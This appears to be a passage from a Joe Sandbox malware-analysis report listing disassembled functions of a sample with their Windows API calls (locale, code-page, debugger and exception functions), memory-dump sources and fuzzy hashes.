LCMapStringEx.KERNELBASE(?,00142D0F,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0013F6B6
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00142D0F,?,?,00000000,?,00000000), ref: 0013F6D4

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 3ae507bc734d5ec56cd7f0ff94a817261bcad915271bc0431d098464d4334628
Instruction ID: 989ed91fe5dd9ba1ce9bf31af2f04c9c4234fa4802eee3781d3cb4fd4f8d1794
Opcode Fuzzy Hash: 3ae507bc734d5ec56cd7f0ff94a817261bcad915271bc0431d098464d4334628
Instruction Fuzzy Hash: 68F0683650011ABBCF125F91EC05DDE3E26BB587A0F058024FE1926130C732C872AB94

Function 00144B43 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00144D92,00144D86,00000000), ref: 00144B75

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 5f2ff687d9ba4c92b0b688f5948a053ae7de03f2e68229564a95b6425fb5abe2
Instruction ID: bdc4cd5cc049829172a91fa29b9a12037221c364830986cb11c6deec0020e5c2
Opcode Fuzzy Hash: 5f2ff687d9ba4c92b0b688f5948a053ae7de03f2e68229564a95b6425fb5abe2
Instruction Fuzzy Hash: BB5147B15042589BDB218B28CCC4BF67BBCEB55304F2805EDE49AD71A2C334AE46CB20

Function 0013F2B3 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8ac1e3ada0d64358addd4180ba8b71626a0b45abc8ac4bf1a093875721d1e6
Instruction ID: 40f21d7faad1b949cf3f503051ce3e33ac0e552fcb25554f41e01f6bc476fbf5
Opcode Fuzzy Hash: 7a8ac1e3ada0d64358addd4180ba8b71626a0b45abc8ac4bf1a093875721d1e6
Instruction Fuzzy Hash: E201F137B002119FDB16DE7AEC4096A33A6FBD0320B29813AF905CB994EB30D842C790

Non-executed Functions

Function 001477D6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00147AF4,00000002,00000000,?,?,?,00147AF4,?,00000000), ref: 0014786F
GetLocaleInfoW.KERNEL32(?,20001004,00147AF4,00000002,00000000,?,?,?,00147AF4,?,00000000), ref: 00147898
GetACP.KERNEL32(?,?,00147AF4,?,00000000), ref: 001478AD

Strings

ACP, xrefs: 001477F4
OCP, xrefs: 0014782A

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e928ea14eae213cf650bc48499eaf562925f7d530fc71c9b135326bfbad286c0
Instruction ID: 8a31cdb7d092bb73f89657e68f40fee11dd85e3dda37c3b2e2e53d7f1e119797
Opcode Fuzzy Hash: e928ea14eae213cf650bc48499eaf562925f7d530fc71c9b135326bfbad286c0
Instruction Fuzzy Hash: 9821C832B08102AADB388FA4DA08B9773A7FF50B61B578424E90AD75B4F732DD41C390

Function 001479AB Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00147AB7
IsValidCodePage.KERNEL32(00000000), ref: 00147B00
IsValidLocale.KERNEL32(?,00000001), ref: 00147B0F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00147B57
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00147B76

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ab476360597c525a72ec0b981422034b4247294c16b6c8ddf0ff58881d91a129
Instruction ID: b1e0629896f5cbbd37abf6f3b3f2b14c4149a724ea8804da29e7112b9508f9db
Opcode Fuzzy Hash: ab476360597c525a72ec0b981422034b4247294c16b6c8ddf0ff58881d91a129
Instruction Fuzzy Hash: 96518172A04206AFDF20DFA4DC41ABE77B8FF58700F294469F915E71E0E7709A458B61

Function 00147047 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

GetACP.KERNEL32(?,?,?,?,?,?,0013CC9C,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00147108
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0013CC9C,?,?,?,00000055,?,-00000050,?,?), ref: 00147133
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00147296

Strings

utf8, xrefs: 00147205

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: d5ecdb32a36fc96ecff260ca34d4085667f4bf5dbd634e92e5175abf7bce9c47
Instruction ID: 8c09284025c809b6ffa9006f07056df4d1e98e1b3fb161f24022f7534f527829
Opcode Fuzzy Hash: d5ecdb32a36fc96ecff260ca34d4085667f4bf5dbd634e92e5175abf7bce9c47
Instruction Fuzzy Hash: 0D714771A04302AAEB24AB74DC46FAB73ACEF15714F20442AF915DB1E1EBB0ED41C761

Function 00134FA6 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00134FB2
IsDebuggerPresent.KERNEL32 ref: 0013507E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00135097
UnhandledExceptionFilter.KERNEL32(?), ref: 001350A1

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8eef06445329844fcd774ea97e96a5a6270a20339b6d4ce59186e4bcaa7c2de5
Instruction ID: 9b94f77a924364ea2a939875b12637345bd33499609c00efd2092e039602f8f5
Opcode Fuzzy Hash: 8eef06445329844fcd774ea97e96a5a6270a20339b6d4ce59186e4bcaa7c2de5
Instruction Fuzzy Hash: BC31F775D05318DBDF20EFA4D9897CDBBB8AF08700F1041AAE40DAB250EB719A85CF45

Function 0014745A Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001474AE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001474F8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001475BE

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 0bb9b7ea9bc6c69ff08ddf7b0682ea0450047733b3d89bc16b5c2080a3bfd45f
Instruction ID: d0df44245265c60076d0367954977269d812e670f3bac09760c8a3d549a98695
Opcode Fuzzy Hash: 0bb9b7ea9bc6c69ff08ddf7b0682ea0450047733b3d89bc16b5c2080a3bfd45f
Instruction Fuzzy Hash: 3B61B0B19086179FEB289F28CD82BBA77A9EF14300F11417AED19CA1E5F734D985CB50

Function 00138F06 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00138FFE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00139008
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00139015

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: fc1eec9069dd929d0eee232713a89a62bbc8e2ffddfa467d63c2ef8ad8ec95ff
Instruction ID: 35ec4e2427b5c93a510e823e5e77237f6751fd063534765ab74713b47017eed2
Opcode Fuzzy Hash: fc1eec9069dd929d0eee232713a89a62bbc8e2ffddfa467d63c2ef8ad8ec95ff
Instruction Fuzzy Hash: 7131C574901318ABCB21DF68D98978DBBB8BF18710F5041DAF41CA7260E7709F818F44

Function 00143560 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,0014355B,?,?,?,?,?,?,00000000), ref: 0014378D

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 89d66f51284d3baca7bf30083e5f82740102faa57745865108419815114fad7f
Instruction ID: e7e2f816e61fd623b9df28a4d4e7dc42565729140f3855262c92dd140c83cc31
Opcode Fuzzy Hash: 89d66f51284d3baca7bf30083e5f82740102faa57745865108419815114fad7f
Instruction Fuzzy Hash: 9EB13B71610609DFD719CF28C486B657BE0FF45365F268658E8AACF2B1C335EA92CB40

Function 00134CCC Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00134CE2

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 309bd6d4a187569475443335c559eb4200c991bcf063f38d8679c13c911c3bee
Instruction ID: 051ad7201b85afc922786138c126b39be5c3c4349645cb14460a95c0aef791e2
Opcode Fuzzy Hash: 309bd6d4a187569475443335c559eb4200c991bcf063f38d8679c13c911c3bee
Instruction Fuzzy Hash: EF5181B1A00205CFEB15CFA9D8C27AABBF4FB48310F25842AD405EB750D379AA80CF50

Function 00144493 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da7514b08d6c523f9c908cf29cda49de920fd82585d7caba2db66c0edb6593ca
Instruction ID: db998b76770c8ee73406cb7ebe747c53f8c07e90c8febb469aac0f75523addbe
Opcode Fuzzy Hash: da7514b08d6c523f9c908cf29cda49de920fd82585d7caba2db66c0edb6593ca
Instruction Fuzzy Hash: C841AEB5804219AFDF20DF79CC89BAABBB9AF55304F1442D9E41DE3211DB359E848F20

Function 001476AD Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00147701

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d137964d1949fd19435b309b32aa18975805a0f2ff54f65b0a3fe962a204d182
Instruction ID: 80ab08e1b066ae3992e75595e0e5aef0a741cd82a536ffdf75847c6c9d10b0b0
Opcode Fuzzy Hash: d137964d1949fd19435b309b32aa18975805a0f2ff54f65b0a3fe962a204d182
Instruction Fuzzy Hash: 2521D432608206ABDB289B24DD46B7A73ACEF14316F10007AF905C72A1EB34ED45C790

Function 00147334 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

EnumSystemLocalesW.KERNEL32(0014745A,00000001,00000000,?,-00000050,?,00147A8B,00000000,?,?,?,00000055,?), ref: 001473A6

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9f5f00387ea92c8368637e764d2dc3eb2214eaf5f0032933acfcaaf0e4aa91af
Instruction ID: 716f7fa3852f7979a8346ca0fd85d41839b3d572a27a3e124c56150bbe1ff841
Opcode Fuzzy Hash: 9f5f00387ea92c8368637e764d2dc3eb2214eaf5f0032933acfcaaf0e4aa91af
Instruction Fuzzy Hash: D8110C3B2047015FDB189F39C89167ABB91FF80358B19882DE94787B90E371B943D740

Function 001478DC Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00147676,00000000,00000000,?), ref: 00147908

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 8c4af11dcd8066f6c42cd3fc8bf818b659c5a99d7610c8c0c6fff1ed6e2e386a
Instruction ID: 0f437a3e1af18927f152e3b63822edc1fb2fdc847db5db63f626768a3ccc63ec
Opcode Fuzzy Hash: 8c4af11dcd8066f6c42cd3fc8bf818b659c5a99d7610c8c0c6fff1ed6e2e386a
Instruction Fuzzy Hash: C2F0A9366081116BDB285B24C805BBB7759EB40778F154465ED46A31D0DB74FE41C6D0

Function 001473CF Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

EnumSystemLocalesW.KERNEL32(001476AD,00000001,00000000,?,-00000050,?,00147A4F,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00147419

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 390f669980dcb39daab2533fe14c56abdbd8660b59c6ff0834b8df75a90e1017
Instruction ID: 24a920a55ec7c9fea6c42b0e09534d7086a7fb8be2205a81c3bc6fbcd5804166
Opcode Fuzzy Hash: 390f669980dcb39daab2533fe14c56abdbd8660b59c6ff0834b8df75a90e1017
Instruction Fuzzy Hash: F1F0C2362043045FDB245F79A881A7A7B91EB81368F19842DF9058BAE0D7B19C42C750

Function 0013F01F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013A8B5: EnterCriticalSection.KERNEL32(?,?,0013E968,?,00155700,00000008,0013EB2C,?,?,?), ref: 0013A8C4

EnumSystemLocalesW.KERNEL32(0013F012,00000001,00155780,0000000C,0013F441,00000000), ref: 0013F057

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 8bd53c104b87df7feeffe1139ebae08aac7e5d5db9ccc571d4fdf0fe89531bdd
Instruction ID: 35a08145e13743834002f373b193998e827f994cb00be82d502bc758694a57a2
Opcode Fuzzy Hash: 8bd53c104b87df7feeffe1139ebae08aac7e5d5db9ccc571d4fdf0fe89531bdd
Instruction Fuzzy Hash: 65F04F76A00200DFD704EFACE842B5C77F1FB48721F10402AF411DB6A1D7755941DB41

Function 001472E9 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0013EC90: GetLastError.KERNEL32(?,00000008,00143196,00000000,00139083), ref: 0013EC94
Part of subcall function 0013EC90: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0013ED36

EnumSystemLocalesW.KERNEL32(00147242,00000001,00000000,?,?,00147AAD,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00147320

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ef7a3646dea098f5ee6c4540ac0f9a9db2b048e6c8fd970e537d69dd01539a9a
Instruction ID: eb2c225c8cd4d6078a04d050895ad7e14bde29d2081c04b078be780543f584bc
Opcode Fuzzy Hash: ef7a3646dea098f5ee6c4540ac0f9a9db2b048e6c8fd970e537d69dd01539a9a
Instruction Fuzzy Hash: 7EF0E53A30020557CB149F35D855B6A7F94FFC1760F464459FE068B6A0C7719843D790

Function 0013F545 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

